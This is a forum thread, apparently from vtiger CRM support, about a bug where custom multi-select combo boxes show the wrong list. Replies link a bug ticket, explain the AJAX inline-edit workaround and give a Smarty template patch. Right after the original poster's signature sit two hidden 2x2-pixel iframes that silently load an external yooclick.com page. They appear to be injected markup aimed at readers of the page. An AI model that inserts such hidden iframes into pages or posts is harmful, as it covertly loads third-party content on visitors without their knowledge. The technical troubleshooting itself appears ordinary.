Bug in multi select combo boxes?

Hi,
I noted what may be a bug in the 5.0.2: when I create a custom multi-select combo-box, the list displayed in not the right one.
Steps to reproduce:
1/ create a custom ms cb
2/ save
3/ edit a customised item (tried with contact and lead): the list is empty or oddly matches an item of a list box.

Do you have any work around?

Thank you for your great work!

Michael <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

  • 6 Comments sorted by Votes Date Added
  • hi michael,

    thank you for mentioning this bug. i've reported it to bug tracker. you can see it here.

    <!-- m --><a class="postlink" href="http://vtiger.fosslabs.com/cgi-bin/trac.cgi/ticket/2604#preview">http://vtiger.fosslabs.com/cgi-bin/trac ... 04#preview</a><!-- m -->

    in the future, please consider reporting bugs to bug tracker. you can ask the vtiger team for a log on. this is the system that is used for bug fixes and enhancements. you can reach it here:

    <!-- m --><a class="postlink" href="http://vtiger.fosslabs.com/cgi-bin/trac.cgi/report">http://vtiger.fosslabs.com/cgi-bin/trac.cgi/report</a><!-- m -->

    as far as a workaround the ajax interface seems to work find with the ms combo boxes.

    regards,
  • thank you,
    just requested a login
    hu... as you understood i am a beginner: how do you launch that ajax interface ?(have been browsing the web for 1 hour and still didn't get it <!-- s:( --><img src="{smilies_path}/icon_sad.gif" alt=":(" title="sad" /><!-- s:( -->( )
    have a good week,
    michael
  • hi michael,

    just hover over it when you're not in the edit mode and a small edit will appear. click on it.

    regards,
  • ok!! thank you very much
  • hi mmerlange,

    in the file smarty\templates\displayfields.tpl change the following:

    <select multiple name="{$fldname}[]" size="4" style="width:160px;" tabindex="{$vt_tab}" class="small">
    {foreach key=sel_value item=value from=$arr}
    <option value="{$sel_value}" {$value}>{if $app.$sel_value}{$app.$sel_value}{else}{$sel_value}{/if}</option>
    <{/foreach}
    </select>

    to


    <select multiple name="{$fldname}[]" size="4" style="width:160px;" tabindex="{$vt_tab}">
    {foreach item=arr from=$fldvalue}
    {foreach key=sel_value item=value from=$arr}
    <option value="{$sel_value}" {$value}>{$sel_value}</option>
    {/foreach}
    {/foreach}
    </select>
This discussion has been closed.